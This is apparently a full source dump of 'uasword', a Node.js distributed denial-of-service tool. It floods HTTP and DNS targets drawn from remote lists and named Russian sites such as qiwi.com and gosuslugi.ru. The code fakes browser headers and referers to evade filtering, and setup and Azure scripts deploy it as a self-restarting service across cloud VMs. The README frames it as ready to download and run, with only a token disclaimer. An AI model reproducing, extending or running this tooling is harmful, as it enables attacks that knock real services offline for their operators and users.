├── .gitignore ├── docs ├── image.png ├── stats.jpg ├── azure_custom_data.png └── azure_vm.sh ├── .dockerignore ├── .husky └── pre-commit ├── test ├── .eslintrc.js ├── stats.test.js ├── runner.test.js ├── spawnRunner.test.js ├── client │ ├── headers.test.js │ └── client.test.js ├── browser.test.js ├── runner-dns.test.js ├── getTargets.test.js ├── helpers.test.js ├── data.test.js └── main.test.js ├── .prettierrc ├── data ├── dns_hostnames.json └── config.json ├── Dockerfile ├── src ├── helpers.js ├── main.js ├── analytics.js ├── spawnRunner.js ├── client │ ├── client.js │ └── headers.js ├── stats.js ├── browser.js ├── runner-dns.js ├── getTargets.js └── runner.js ├── uasword_start.sh ├── .eslintrc.js ├── index.js ├── .github └── workflows │ └── test.yml ├── .editorconfig ├── .vscode └── launch.json ├── package.json ├── setup.sh └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | *.log 3 | dist 4 | -------------------------------------------------------------------------------- /docs/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgrybyk/uasword/HEAD/docs/image.png -------------------------------------------------------------------------------- /docs/stats.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgrybyk/uasword/HEAD/docs/stats.jpg -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .husky 3 | .github 4 | .vscode 5 | test 6 | dist 7 | docs 8 | -------------------------------------------------------------------------------- /docs/azure_custom_data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mgrybyk/uasword/HEAD/docs/azure_custom_data.png -------------------------------------------------------------------------------- /.husky/pre-commit: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | . "$(dirname "$0")/_/husky.sh" 3 | 4 | npm run lint 5 | npm run test 6 | -------------------------------------------------------------------------------- /test/.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | extends: '../.eslintrc.js', 3 | env: { 4 | jest: true, 5 | }, 6 | } 7 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "semi": false, 3 | "singleQuote": true, 4 | "trailingComma": "es5", 5 | "printWidth": 120 6 | } 7 | -------------------------------------------------------------------------------- /test/stats.test.js: -------------------------------------------------------------------------------- 1 | const stats = require('../src/stats') 2 | 3 | test('logInterval', async () => { 4 | expect(stats.logInterval).toEqual(60 * 1000) 5 | }) 6 | -------------------------------------------------------------------------------- /test/runner.test.js: -------------------------------------------------------------------------------- 1 | const runner = require('../src/runner') 2 | 3 | test('exports', async () => { 4 | expect(runner).toEqual({ runner: expect.any(Function) }) 5 | }) 6 | -------------------------------------------------------------------------------- /test/spawnRunner.test.js: -------------------------------------------------------------------------------- 1 | const spawnRunner = require('../src/spawnRunner') 2 | 3 | test('maxConcurrentUdpRequests', async () => { 4 | expect(spawnRunner.maxConcurrentUdpRequests).toEqual(400) 5 | }) 6 | -------------------------------------------------------------------------------- /test/client/headers.test.js: -------------------------------------------------------------------------------- 1 | const headers = require('../../src/client/headers') 2 | 3 | test('exports', async () => { 4 | expect(headers).toEqual({ generateRequestHeaders: expect.any(Function) }) 5 | }) 6 | -------------------------------------------------------------------------------- /data/dns_hostnames.json: -------------------------------------------------------------------------------- 1 | [ 2 | "qiwi.com", 3 | "checkout.qiwi.com", 4 | "my.qiwi.com", 5 | "oplata.qiwi.com", 6 | "p2p.qiwi.com", 7 | "www.pravda.ru", 8 | "lenta.ru", 9 | "gosuslugi.ru" 10 | ] 11 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mcr.microsoft.com/playwright:v1.20.2-focal 2 | 3 | WORKDIR /app 4 | COPY . ./ 5 | 6 | ENV IS_DOCKER=true 7 | 8 | RUN npm install --omit dev --no-fund --no-audit 9 | 10 | CMD ["node", "index"] 11 | -------------------------------------------------------------------------------- /test/browser.test.js: -------------------------------------------------------------------------------- 1 | const browser = require('../src/browser') 2 | 3 | test('exports', async () => { 4 | expect(browser).toEqual({ runBrowser: expect.any(Function), getRealBrowserHeaders: expect.any(Function) }) 5 | }) 6 | -------------------------------------------------------------------------------- /test/runner-dns.test.js: -------------------------------------------------------------------------------- 1 | const runnerDns = require('../src/runner-dns') 2 | 3 | test('exports', async () => { 4 | expect(runnerDns).toEqual({ runnerDns: expect.any(Function), setMaxDnsReqs: expect.any(Function) }) 5 | }) 6 | -------------------------------------------------------------------------------- /test/getTargets.test.js: -------------------------------------------------------------------------------- 1 | const getTargets = require('../src/getTargets') 2 | 3 | test('exports', async () => { 4 | expect(getTargets).toEqual({ siteListUpdater: expect.any(Function), getSites: expect.any(Function) }) 5 | }) 6 | -------------------------------------------------------------------------------- /src/helpers.js: -------------------------------------------------------------------------------- 1 | const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) 2 | 3 | const randomInt = (num) => Math.floor(Math.random() * num) 4 | 5 | const randomBool = () => Math.random() < 0.5 6 | 7 | module.exports = { sleep, randomBool, randomInt } 8 | -------------------------------------------------------------------------------- /uasword_start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | cd /opt/uasword 6 | /usr/bin/git reset --hard 7 | /usr/bin/git pull --rebase 8 | /usr/bin/npm i --omit dev --no-fund --no-audit 9 | /usr/bin/npx playwright install --with-deps chromium 10 | /usr/bin/node index 11 | -------------------------------------------------------------------------------- /.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | root: true, 3 | plugins: ['prettier'], 4 | parserOptions: { 5 | ecmaVersion: 2020, 6 | }, 7 | extends: ['eslint:recommended', 'prettier', 'plugin:prettier/recommended'], 8 | env: { 9 | node: true, 10 | es6: true, 11 | }, 12 | } 13 | -------------------------------------------------------------------------------- /test/client/client.test.js: -------------------------------------------------------------------------------- 1 | const client = require('../../src/client/client') 2 | 3 | test('exports', async () => { 4 | expect(client).toEqual({ 5 | spawnClientInstance: expect.any(Function), 6 | resolve4: expect.any(Function), 7 | maxContentLength: 104900, 8 | }) 9 | }) 10 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const { main, statistics } = require('./src/main') 2 | 3 | main() 4 | 5 | if (process.env.PORT) { 6 | // some cloud services require http server to be running 7 | const express = require('express') 8 | const app = express() 9 | 10 | app.get('/', (req, res) => res.send('ok')) 11 | app.get('/stats', (req, res) => res.send(statistics)) 12 | 13 | app.listen(process.env.PORT) 14 | } 15 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: Test 2 | 3 | on: 4 | push: 5 | branches: [ master ] 6 | pull_request: 7 | 8 | jobs: 9 | test: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - uses: actions/checkout@v2 13 | - uses: actions/setup-node@v2 14 | with: 15 | node-version: '16' 16 | cache: 'npm' 17 | - run: npm install 18 | - run: npm run lint 19 | - run: npm test 20 | -------------------------------------------------------------------------------- /test/helpers.test.js: -------------------------------------------------------------------------------- 1 | const helpers = require('../src/helpers') 2 | 3 | test('randomBool', async () => { 4 | expect(helpers.randomBool()).toEqual(expect.any(Boolean)) 5 | }) 6 | 7 | test('randomInt', async () => { 8 | const rnd = helpers.randomInt(5) 9 | expect(rnd).toBeGreaterThan(-1) 10 | expect(rnd).toBeLessThan(6) 11 | 12 | expect(helpers.randomInt(0)).toBe(0) 13 | }) 14 | 15 | test('sleep', async () => { 16 | await helpers.sleep(1) 17 | }) 18 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # http://editorconfig.org 2 | 3 | # top-most EditorConfig file 4 | root = true 5 | 6 | # Unix-style newlines with a newline ending every file 7 | [*] 8 | charset = utf-8 9 | end_of_line = lf 10 | insert_final_newline = true 11 | trim_trailing_whitespace = true 12 | 13 | # Indentation override for js(x), ts(x) and vue files 14 | [*.{js,jsx,ts,tsx,vue}] 15 | indent_size = 2 16 | indent_style = space 17 | 18 | # Trailing space override for markdown file 19 | [*.md] 20 | trim_trailing_whitespace = false 21 | 22 | # Indentation override for config files 23 | [*.{json,yml}] 24 | indent_size = 2 25 | indent_style = space 26 | -------------------------------------------------------------------------------- /src/main.js: -------------------------------------------------------------------------------- 1 | const { EventEmitter } = require('events') 2 | 3 | const { run } = require('./spawnRunner') 4 | const { getSites, siteListUpdater } = require('./getTargets') 5 | const { statsLogger, statistics } = require('./stats') 6 | const { runBrowser } = require('./browser') 7 | const { analytics } = require('./analytics') 8 | 9 | const main = async () => { 10 | analytics.onlineEvent() 11 | await runBrowser() 12 | 13 | const eventEmitter = new EventEmitter() 14 | eventEmitter.setMaxListeners(150) 15 | 16 | let urlList = await getSites() 17 | await run(eventEmitter, urlList) 18 | 19 | statsLogger(eventEmitter) 20 | siteListUpdater(eventEmitter, urlList) 21 | } 22 | 23 | module.exports = { main, statistics } 24 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to learn about possible attributes. 3 | // Hover to view descriptions of existing attributes. 4 | // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "type": "pwa-node", 9 | "request": "launch", 10 | "name": "Launch Program", 11 | "env": { 12 | // "SKIP_UASWORD_LISTS": "true", 13 | "SKIP_DDOSER_LISTS": "true", 14 | "SKIP_SHIELD_LISTS": "true", 15 | "SKIP_DB1000N_LISTS": "true", 16 | // "PORT": "3000" 17 | }, 18 | "skipFiles": ["/**"], 19 | "program": "${workspaceFolder}/index.js" 20 | } 21 | ] 22 | } 23 | -------------------------------------------------------------------------------- /src/analytics.js: -------------------------------------------------------------------------------- 1 | const { v4: uuid } = require('uuid') 2 | const universalAnalytics = require('universal-analytics') 3 | 4 | const visitor = universalAnalytics('UA-224567752-1', uuid()) 5 | 6 | const errorFn = () => {} 7 | 8 | const analytics = { 9 | onlineEvent: () => { 10 | visitor.pageview('/online', errorFn) 11 | }, 12 | statsEvent: (stats) => { 13 | visitor.event('total-http-req', `${stats.total.totalHttpRequests}`, errorFn) 14 | // visitor.event('total-http-rps', `${stats.total.totalHttpRps}`, errorFn) 15 | visitor.event('total-dns-req', `${stats.total.totalDnsRequests}`, errorFn) 16 | // visitor.event('total-dns-rps', `${stats.total.totalDnsRps}`, errorFn) 17 | // visitor.event('active-runners', `${stats.total.activeRunners}`, errorFn) 18 | }, 19 | } 20 | 21 | module.exports = { analytics } 22 | -------------------------------------------------------------------------------- /data/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "urls": [ 3 | { 4 | "enabled": true, 5 | "name": "UASWORD", 6 | "url": "https://raw.githubusercontent.com/xlenz/sites/master/data/sites.json", 7 | "type": "object" 8 | }, 9 | { 10 | "enabled": true, 11 | "name": "SHIELD", 12 | "url": "https://raw.githubusercontent.com/opengs/uashieldtargets/master/sites.json", 13 | "type": "object" 14 | }, 15 | { 16 | "enabled": true, 17 | "name": "DDOSER", 18 | "url": "https://raw.githubusercontent.com/hem017/cytro/master/targets_all.txt", 19 | "type": "string" 20 | }, 21 | { 22 | "enabled": true, 23 | "name": "DB1000N", 24 | "url": "https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json", 25 | "type": "db1000n_v0.7" 26 | } 27 | ] 28 | } 29 | -------------------------------------------------------------------------------- /src/spawnRunner.js: -------------------------------------------------------------------------------- 1 | const { sleep } = require('./helpers') 2 | const { runner } = require('./runner') 3 | const { runnerDns, setMaxDnsReqs } = require('./runner-dns') 4 | 5 | const maxConcurrentUdpRequests = 400 6 | 7 | /** 8 | * @param {EventEmitter} eventEmitter 9 | * @param {Array<{method:'get'|'dns';}>} urlList 10 | */ 11 | const run = async (eventEmitter, urlList) => { 12 | const dnsRunners = urlList.filter((x) => x.method === 'dns').length || 1 13 | setMaxDnsReqs(Math.floor(maxConcurrentUdpRequests / dnsRunners)) 14 | 15 | for (let i = 0; i < urlList.length; i++) { 16 | await sleep(500) 17 | if (urlList[i].method === 'get') { 18 | runner(urlList[i], eventEmitter) 19 | } else if (urlList[i].method === 'dns') { 20 | runnerDns(urlList[i], eventEmitter) 21 | } else { 22 | console.log('skipping runner', urlList[i]) 23 | } 24 | } 25 | } 26 | 27 | module.exports = { run, maxConcurrentUdpRequests } 28 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "uasword", 3 | "version": "2.3.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "start": "node index", 8 | "test": "jest", 9 | "lint": "eslint --ext .js --ignore-path .gitignore .", 10 | "pack": "PKG_CACHE_PATH=./dist/.cache pkg index.js -o dist/uasword -t node16-win,node16-mac" 11 | }, 12 | "keywords": [ 13 | "uasword", 14 | "uashield" 15 | ], 16 | "author": "mykola.grybyk@gmail.com", 17 | "license": "ISC", 18 | "engines": { 19 | "node": ">=16", 20 | "npm": "~8" 21 | }, 22 | "dependencies": { 23 | "axios": "^0.26.1", 24 | "express": "^4.17.3", 25 | "playwright-core": "^1.20.2", 26 | "universal-analytics": "^0.5.3", 27 | "user-agents": "^1.0.975", 28 | "uuid": "^8.3.2" 29 | }, 30 | "devDependencies": { 31 | "eslint": "^8.12.0", 32 | "eslint-config-prettier": "^8.5.0", 33 | "eslint-plugin-prettier": "^4.0.0", 34 | "husky": "^7.0.4", 35 | "jest": "^27.5.1", 36 | "prettier": "^2.6.2" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /test/data.test.js: -------------------------------------------------------------------------------- 1 | test('config', () => { 2 | const config = require('../data/config.json') 3 | expect(config).toEqual({ 4 | urls: [ 5 | { 6 | enabled: expect.any(Boolean), 7 | name: 'UASWORD', 8 | url: expect.stringMatching(/^https:\/\//), 9 | type: 'object', 10 | }, 11 | { 12 | enabled: expect.any(Boolean), 13 | name: 'SHIELD', 14 | url: expect.stringMatching(/^https:\/\//), 15 | type: 'object', 16 | }, 17 | { 18 | enabled: expect.any(Boolean), 19 | name: 'DDOSER', 20 | url: expect.stringMatching(/^https:\/\//), 21 | type: 'string', 22 | }, 23 | { 24 | enabled: expect.any(Boolean), 25 | name: 'DB1000N', 26 | url: expect.stringMatching(/^https:\/\//), 27 | type: 'db1000n_v0.7', 28 | }, 29 | ], 30 | }) 31 | }) 32 | 33 | test('dns hostnames', () => { 34 | const hostnames = require('../data/dns_hostnames.json') 35 | hostnames.forEach((s) => expect(typeof s).toEqual('string')) 36 | }) 37 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DISTRO=$(/bin/grep '^ID=' /etc/os-release | cut -d = -f 2) 4 | if [[ "$DISTRO" != "ubuntu" ]]; then 5 | echo "Not supported distro. Only Ubuntu is currently supported. Exiting..." 6 | exit 61 7 | fi 8 | 9 | if [[ $(/bin/whoami) != "root" ]]; then 10 | echo "Please run this under the root account or in sudo" 11 | exit 62 12 | fi 13 | 14 | /usr/bin/apt update 15 | /usr/bin/apt install -y \ 16 | ca-certificates \ 17 | curl \ 18 | gnupg \ 19 | lsb-release \ 20 | build-essential 21 | 22 | /usr/bin/curl -fsSL https://deb.nodesource.com/setup_16.x | /usr/bin/bash - 23 | /usr/bin/apt install -y nodejs 24 | 25 | cat > /etc/systemd/system/uasword.service << EOF 26 | [Unit] 27 | Description=uaswrod service 28 | After=network.target 29 | StartLimitIntervalSec=0 30 | 31 | [Service] 32 | Type=exec 33 | Restart=always 34 | RestartSec=1 35 | ExecStart=/opt/uasword/uasword_start.sh 36 | RuntimeMaxSec=7200 37 | TimeoutStopSec=10 38 | 39 | [Install] 40 | WantedBy=multi-user.target 41 | EOF 42 | systemctl daemon-reload 43 | systemctl enable uasword.service 44 | systemctl start uasword.service 45 | -------------------------------------------------------------------------------- /src/client/client.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @type {import('axios').AxiosStatic} 3 | */ 4 | const axios = require('axios') 5 | const { Resolver } = require('dns/promises') 6 | 7 | const { randomInt } = require('../helpers') 8 | 9 | const resolver = new Resolver() 10 | resolver.setServers(['77.88.8.8', '77.88.8.1', '1.1.1.1', '8.8.8.8']) 11 | 12 | const resolve4 = async (hostname, prevIp) => { 13 | try { 14 | const r = await resolver.resolve4(hostname) 15 | return r[randomInt(r.length)] || prevIp 16 | } catch { 17 | return prevIp 18 | } 19 | } 20 | 21 | const maxContentLength = 104900 22 | const validateStatus = () => true 23 | 24 | const spawnClientInstance = (baseURL) => { 25 | const client = axios.create({ 26 | maxContentLength, 27 | baseURL, 28 | timeout: 12000, 29 | validateStatus, 30 | responseType: 'arraybuffer', 31 | maxRedirects: 10, 32 | }) 33 | 34 | client.interceptors.request.use((config) => { 35 | if (config.ip) { 36 | const url = new URL(config.url, config.baseURL) 37 | config.headers.Host = url.hostname 38 | url.hostname = config.ip 39 | config.url = url.toString() 40 | } 41 | return config 42 | }) 43 | 44 | return client 45 | } 46 | 47 | module.exports = { spawnClientInstance, resolve4, maxContentLength } 48 | -------------------------------------------------------------------------------- /test/main.test.js: -------------------------------------------------------------------------------- 1 | jest.mock('../src/spawnRunner', () => ({ 2 | run: jest.fn(), 3 | })) 4 | 5 | jest.mock('../src/getTargets', () => ({ 6 | getSites: jest.fn().mockImplementation(async () => 'urlList'), 7 | siteListUpdater: jest.fn(), 8 | })) 9 | 10 | jest.mock('../src/stats', () => ({ 11 | statsLogger: jest.fn(), 12 | statistics: 'stats', 13 | })) 14 | 15 | jest.mock('../src/browser', () => ({ 16 | runBrowser: jest.fn(), 17 | })) 18 | 19 | const main = require('../src/main') 20 | const { run } = require('../src/spawnRunner') 21 | const { statsLogger } = require('../src/stats') 22 | const { getSites, siteListUpdater } = require('../src/getTargets') 23 | const { runBrowser } = require('../src/browser') 24 | 25 | test('main', async () => { 26 | await main.main() 27 | 28 | expect(runBrowser).toBeCalledTimes(1) 29 | expect(getSites).toBeCalledTimes(1) 30 | 31 | expect(run).toBeCalledTimes(1) 32 | expect(run).toBeCalledWith(expect.any(Object), 'urlList') 33 | 34 | expect(statsLogger).toBeCalledTimes(1) 35 | expect(statsLogger).toBeCalledWith(expect.any(Object)) 36 | 37 | expect(siteListUpdater).toBeCalledTimes(1) 38 | expect(siteListUpdater).toBeCalledWith(expect.any(Object), 'urlList') 39 | }) 40 | 41 | test('statistics', async () => { 42 | expect(main.statistics).toEqual('stats') 43 | }) 44 | -------------------------------------------------------------------------------- /src/client/headers.js: -------------------------------------------------------------------------------- 1 | const UserAgent = require('user-agents') 2 | 3 | const { randomBool, randomInt } = require('../helpers') 4 | 5 | const headersMap = { 6 | UA: 'User-Agent', 7 | AcceptLanguage: 'Accept-Language', 8 | Accept: 'Accept', 9 | Referers: 'Referers', 10 | CacheControl: 'Cache-Control', 11 | UpgradeInsecureRequests: 'Upgrade-Insecure-Requests', 12 | AcceptEncoding: 'Accept-Encoding', 13 | Cookie: 'Cookie', 14 | } 15 | 16 | const acceptEncoding = 'gzip, deflate, br' 17 | const cacheControlOptions = ['no-cache', 'max-age=0'] 18 | const acceptLanguages = ['ru-RU,ru', 'ru,en;q=0.9,en-US;q=0.8'] 19 | const referers = [ 20 | 'https://www.google.com/', 21 | 'https://vk.com/', 22 | 'https://go.mail.ru/search/', 23 | 'https://yandex.ru/search/', 24 | 'https://yandex.ru/search/', // don't remove the second line this is on purpose 25 | ] 26 | const accept = 27 | 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' 28 | const secHeaders = { 29 | 'sec-fetch-mode': 'navigate', 30 | 'sec-fetch-site': 'none', 31 | 'sec-fetch-dest': 'document', 32 | 'sec-fetch-user': '?1', 33 | 'sec-ch-ua-platform': 'Windows', 34 | 'sec-ch-ua-mobile': '?0', 35 | 'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"', 36 | } 37 | 38 | const generateRequestHeaders = () => { 39 | const headers = getAdditionalRandomHeaders() 40 | 41 | headers[headersMap.UA] = new UserAgent().toString() 42 | headers[headersMap.AcceptLanguage] = acceptLanguages[randomInt(acceptLanguages.length)] 43 | headers[headersMap.Accept] = accept 44 | 45 | return headers 46 | } 47 | 48 | const getAdditionalRandomHeaders = () => { 49 | const headers = randomBool() ? {} : { ...secHeaders } 50 | if (randomBool()) { 51 | headers[headersMap.Referers] = referers[randomInt(referers.length)] 52 | } 53 | if (randomBool()) { 54 | headers[headersMap.CacheControl] = cacheControlOptions[randomInt(cacheControlOptions.length)] 55 | } 56 | if (randomBool()) { 57 | headers[headersMap.UpgradeInsecureRequests] = 1 58 | } 59 | if (randomBool()) { 60 | headers[headersMap.AcceptEncoding] = acceptEncoding 61 | } 62 | return headers 63 | } 64 | 65 | module.exports = { generateRequestHeaders } 66 | -------------------------------------------------------------------------------- /docs/azure_vm.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | AZURE_RESOURCE_GROUP='vm1_group' 4 | 5 | usage() { 6 | echo " 7 | Usage $0 [options] 8 | 9 | Options: 10 | start start vm's in resource group 11 | stop stop vm's in resource group 12 | restart restart vm's in resource group 13 | status status vm's in resource group 14 | ip list of ip's 15 | " 1>&2; exit 1; 16 | } 17 | 18 | invalid_input() { 19 | echo "$1" 20 | usage 21 | } 22 | 23 | while (( "$#" )); 24 | do 25 | case $1 in 26 | start) start=$1; shift;; 27 | stop) stop=$1; shift;; 28 | restart) restart=$1; shift;; 29 | status) status=$1; shift;; 30 | ip) ip=$1; shift;; 31 | help) usage;; 32 | *) invalid_input "Unknown parameter : $1";; 33 | esac 34 | done 35 | 36 | 37 | AZURE_RESOURCE_GROUP='vm1_group' 38 | 39 | if [[ $start ]]; 40 | then 41 | VM_NAMES=$(az vm list -g $AZURE_RESOURCE_GROUP --show-details --query "[?powerState=='VM deallocated'].{ name: name }" -o tsv) 42 | for NAME in $VM_NAMES 43 | do 44 | NAME=`echo $NAME | sed 's/ *$//g'` 45 | echo "Starting $NAME" 46 | az vm start -n $NAME -g $AZURE_RESOURCE_GROUP --no-wait 47 | done 48 | fi 49 | 50 | if [[ $stop ]]; 51 | then 52 | VM_NAMES=$(az vm list -g $AZURE_RESOURCE_GROUP --show-details --query "[?powerState=='VM running'].{ name: name }" -o tsv) 53 | for NAME in $VM_NAMES 54 | do 55 | NAME=`echo $NAME | sed 's/ *$//g'` 56 | echo "Stopping $NAME" 57 | az vm deallocate -n $NAME -g $AZURE_RESOURCE_GROUP --no-wait 58 | done 59 | fi 60 | 61 | if [[ $restart ]]; 62 | then 63 | VM_NAMES=$(az vm list -g $AZURE_RESOURCE_GROUP --show-details --query "[?powerState=='VM running'].{ name: name }" -o tsv) 64 | echo "Restarting all running VMs" 65 | for NAME in $VM_NAMES 66 | do 67 | NAME=`echo $NAME | sed 's/ *$//g'` 68 | echo "Stopping $NAME" 69 | az vm deallocate -n $NAME -g $AZURE_RESOURCE_GROUP 70 | echo "Starting $NAME" 71 | az vm start -n $NAME -g $AZURE_RESOURCE_GROUP 72 | done 73 | fi 74 | 75 | if [[ $status ]]; 76 | then 77 | echo "Power Status of all VMs" 78 | echo "-----------------------" 79 | az vm list -g $AZURE_RESOURCE_GROUP --show-details --query "[].{name: name, status: powerState}" -o table 80 | fi 81 | 82 | 83 | if [[ $ip ]]; 84 | then 85 | az vm list -g $AZURE_RESOURCE_GROUP --show-details --query "[?powerState=='VM running'].{ name:name, ip: publicIps }" -o table 86 | fi 87 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # uasword 2 | 3 | [![Test](https://github.com/mgrybyk/uasword/actions/workflows/test.yml/badge.svg)](https://github.com/mgrybyk/uasword/actions/workflows/test.yml) 4 | 5 | > Multitarget tool based on uashield, db1000n and additional advanced dns lists. 6 | 7 | DISCLAIMER: the software is not meant to be used for any kind of illegal or inappropriate purposes! 8 | 9 | [**Качемо тут**](https://github.com/mgrybyk/uasword/releases) і просто запускаєм. 10 | 11 | ![stats](docs/stats.jpg) 12 | 13 | - run as [binary](https://github.com/mgrybyk/uasword/releases), in [Docker](#Docker), [Termux](#Termux) 14 | - supports multiple targets in parallel 15 | - advanced DNS methods 16 | - pretends real browser to improve performance 17 | - targets list updates automatically, run once and let it work 18 | - IT ARMY of Ukraine lists are included as well 19 | 20 | ## Prebuilt binaries 21 | 22 | Checkout the latest release here https://github.com/mgrybyk/uasword/releases, ex [windows](https://github.com/mgrybyk/uasword/releases/download/2.1.0/uasword-win.exe). 23 | 24 | ## Installation and Running 25 | 26 | - make sure to have [NodeJS 16](https://nodejs.org/en/download/) installed 27 | - clone the repo with [git](https://git-scm.com/download) `git clone https://github.com/mgrybyk/uasword.git` 28 | - `cd uasword` 29 | - install modules `npm install` 30 | - download chromium `npx playwright install --with-deps chromium` 31 | - run `node index` 32 | 33 | See [screenshot](docs/image.png) for step by step example for very new users 34 | 35 | ## Targets 36 | 37 | Several target lists is used, see [data/config.json](https://github.com/mgrybyk/uasword/blob/master/data/config.json) for more information. 38 | 39 | ## Docker 40 | 41 | Docker image published to https://hub.docker.com/r/atools/uasword 42 | 43 | ## Ubuntu VM (ex digital ocean) 44 | 45 | Run as root 46 | ``` 47 | mkdir -p /opt && git clone https://github.com/mgrybyk/uasword.git /opt/uasword && /opt/uasword/setup.sh 48 | ``` 49 | 50 | ## Azure Custom Data 51 | 52 | ![Azure Custom data](docs/azure_custom_data.png) 53 | 54 | Install: 55 | ``` 56 | sudo mkdir -p /opt && sudo git clone https://github.com/mgrybyk/uasword.git /opt/uasword && sudo /opt/uasword/setup.sh 57 | ``` 58 | 59 | ### See Logs in Azure 60 | 61 | `journalctl -xe -u uasword.service -f` 62 | 63 | ## Termux 64 | 65 | Note: Play Store version of Termux is no longer updating, please use other apk providers, see below. 66 | 67 | 1. Install [Termux](https://termux.com/). Choose one of [F-Droid](https://f-droid.org/en/packages/com.termux/) | [GitHub](https://github.com/termux/termux-app/releases/tag/v0.118.0) | [apkpure](https://apkpure.com/termux/com.termux) 68 | 2. In Termux run the following 69 | 3. `pkg update` answer `y` when prompted 70 | 4. `pkg install nodejs-lts` - installs nodejs 71 | 5. `pkg install git` - installs git 72 | 6. `git clone https://github.com/mgrybyk/uasword.git` - clones the repo 73 | 7. `cd uasword` - switch to the cloned folder 74 | 8. `npm install --omit dev --no-fund --no-audit` - install modules. Or just do `npm i` 75 | 9. `node index` - starts the app 76 | 77 | -------------------------------------------------------------------------------- /src/stats.js: -------------------------------------------------------------------------------- 1 | const { setMaxDnsReqs } = require('./runner-dns') 2 | const { maxConcurrentUdpRequests } = require('./spawnRunner') 3 | const { analytics } = require('./analytics') 4 | 5 | // interval between printing stats and calculating error rate 6 | const logIntervalSeconds = 60 7 | const logInterval = logIntervalSeconds * 1000 8 | const statistics = {} 9 | 10 | /** 11 | * @param {EventEmitter} eventEmitter 12 | */ 13 | const statsLogger = (eventEmitter) => { 14 | let stats = [] 15 | let totalDnsRequests = 0 16 | let totalHttpRequests = 0 17 | 18 | eventEmitter.on('RUNNER_STATS', (s) => { 19 | stats.push(s) 20 | if (s.type === 'http') { 21 | totalHttpRequests += s.new_reqs 22 | } else if (s.type === 'dns') { 23 | totalDnsRequests += s.new_reqs 24 | } 25 | }) 26 | 27 | setInterval(() => { 28 | analytics.onlineEvent() 29 | stats.length = 0 30 | eventEmitter.emit('GET_STATS') 31 | setTimeout(() => { 32 | stats.forEach((x) => { 33 | x.rps = Math.floor(10 * (x.new_reqs / logIntervalSeconds)) / 10 34 | }) 35 | 36 | statistics.activeRunners = stats.filter(({ isActive, rps }) => isActive && rps > 0.4) 37 | statistics.slowRunners = stats.filter(({ isActive, rps }) => isActive && rps <= 0.4) 38 | 39 | const totalHttpRps = statistics.activeRunners 40 | .filter(({ type }) => type === 'http') 41 | .reduce((prev, { rps }) => prev + rps, 0) 42 | const totalDnsRps = statistics.activeRunners 43 | .filter(({ type }) => type === 'dns') 44 | .reduce((prev, { rps }) => prev + rps, 0) 45 | 46 | statistics.total = { 47 | totalHttpRequests, 48 | totalDnsRequests, 49 | totalHttpRps, 50 | totalDnsRps, 51 | activeRunners: statistics.activeRunners.length, 52 | slowRunners: statistics.slowRunners.length, 53 | totalRunners: stats.length, 54 | } 55 | 56 | if (statistics.activeRunners.length > 0) { 57 | const tableData = [] 58 | statistics.activeRunners.sort((a, b) => b.rps - a.rps) 59 | 60 | statistics.activeRunners 61 | .filter(({ type }) => type === 'http') 62 | .forEach(({ url, ip, total_reqs, errRate, rps }) => { 63 | tableData.push({ ip: ip || '-', url, Requests: total_reqs, 'Errors,%': errRate, 'Req/s': rps }) 64 | }) 65 | 66 | const activeDnsRunners = statistics.activeRunners.filter(({ type }) => type === 'dns') 67 | activeDnsRunners.forEach(({ host, port, total_reqs, errRate, rps }) => { 68 | tableData.push({ 69 | ip: `${host}:${port}`, 70 | url: 'N/A (dns)', 71 | Requests: total_reqs, 72 | 'Errors,%': errRate, 73 | 'Req/s': rps, 74 | }) 75 | }) 76 | 77 | if (activeDnsRunners.length > 0) { 78 | setMaxDnsReqs(Math.floor(maxConcurrentUdpRequests / activeDnsRunners.length)) 79 | } 80 | 81 | console.table(tableData) 82 | } 83 | 84 | console.log( 85 | `http reqs: ${totalHttpRequests}, rps: ${Math.floor(totalHttpRps)}`, 86 | '|', 87 | `dns reqs: ${totalDnsRequests}, rps: ${Math.floor(totalDnsRps)}`, 88 | '| Runners (active/slow/total)', 89 | `${statistics.total.activeRunners}/${statistics.total.slowRunners}/${statistics.total.totalRunners}`, 90 | '\n' 91 | ) 92 | analytics.statsEvent(statistics) 93 | }, 1000) 94 | }, logInterval) 95 | } 96 | 97 | module.exports = { statsLogger, statistics, logInterval } 98 | -------------------------------------------------------------------------------- 